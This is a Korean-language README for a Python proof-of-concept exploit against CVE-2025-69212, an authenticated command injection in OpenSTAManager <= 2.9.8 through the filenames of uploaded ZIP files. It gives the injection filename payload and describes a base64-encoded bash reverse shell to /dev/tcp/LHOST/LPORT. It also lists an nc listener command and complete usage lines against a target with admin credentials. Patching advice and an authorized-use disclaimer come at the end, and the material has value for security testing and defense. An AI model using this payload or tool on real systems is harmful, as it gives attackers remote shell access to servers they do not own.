
Python poc, exploit for CVE-2025-69212
CVE-2025-69212에 대한 개념 증명 익스플로잇으로, OpenSTAManager <= 2.9.8에서 악의적으로 조작된 ZIP 파일 업로드를 통해 인증된 공격자가 원격 코드 실행을 달성할 수 있는 OS 명령어 삽입 취약점입니다.
이 취약점은 src/Util/XML.php의 약 100번째 줄에 존재하며, 애플리케이션이 사용자가 제어하는 파일명을 소독 없이 셸 exec() 호출에 직접 전달합니다:
exec('openssl smime -verify -noverify -in "' . $file . '" -inform DER -out "' . $output_file . '"');
ZIP 아카이브가 importFE_ZIP 플러그인을 통해 업로드되면 (/actions.php), 애플리케이션이 ZIP을 추출하고 각 .p7m 항목의 파일명을 exec()에 전달합니다. 공격자는 큰따옴표로 묶인 인수에서 빠져나와 임의의 셸 명령어를 삽입하는 악성 파일명으로 ZIP을 조작할 수 있습니다.
삽입 페이로드 (파일명):
invoice.p7m";<COMMAND>;echo ".p7m
결과적인 셸 실행:
openssl smime ... -in "invoice.p7m";<COMMAND>;echo ".p7m" ...
# ^^^^^^^^^^^^ 여기에 삽입됨
참고:
ZipArchive::extractTo()가 슬래시/를 경로 구분자로 처리하기 때문에 파일명에 직접 슬래시를 포함할 수 없습니다. PoC는 리버스 셸 페이로드를 base64로 인코딩하여 이 문제를 회피합니다.
requests 라이브러리nc)의존성 설치:
pip install requests
python3 CVE-2025-69212.py -u <TARGET_URL> -U <USERNAME> -P <PASSWORD> --lhost <YOUR_IP> --lport <YOUR_PORT>
# 리스너 시작
nc -lvnp 4444
# 익스플로잇 실행
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444
# Burp Suite를 통해 경로 설정
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444 --proxy http://127.0.0.1:8080
.p7m 파일이 포함된 ZIP 아카이브 생성bash -i >& /dev/tcp/LHOST/LPORT 0>&1)은 파일명에 슬래시가 포함되지 않도록 base64로 인코딩됨importFE_ZIP 플러그인을 통해 /actions.php로 ZIP을 POSTexec()에 전달하여 리버스 셸 트리거파일명을 셸 명령어에 전달하기 전에 소독하는 OpenSTAManager 2.9.9 이상으로 업데이트하십시오.
즉시 패치를 적용할 수 없는 경우, importFE_ZIP 플러그인을 비활성화하거나 신뢰할 수 있는 사용자만 /actions.php에 접근할 수 있도록 제한하십시오.
이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용됩니다. 사용자가 소유하거나 테스트에 대한 명시적인 서면 허가를 받은 시스템에서만 사용하십시오. 사용자가 소유하지 않은 시스템에 대한 무단 사용은 불법이며 비윤리적입니다. 작성자는 이 도구의 오용이나 이로 인한 손해에 대해 책임을 지지 않습니다.
| 인자 | 필수 | 설명 |
|---|
-u, --url | 예 | 대상 기본 URL (예: http://target.htb) |
-U, --username | 예 | OpenSTAManager 사용자 이름 |
-P, --password | 예 | OpenSTAManager 비밀번호 |
--lhost | 예 | 리버스 셸을 위한 사용자 IP 주소 |
--lport | 예 | 리버스 셸을 위한 사용자 리스닝 포트 |
--proxy | 아니오 | HTTP 프록시 (예: http://127.0.0.1:8080) |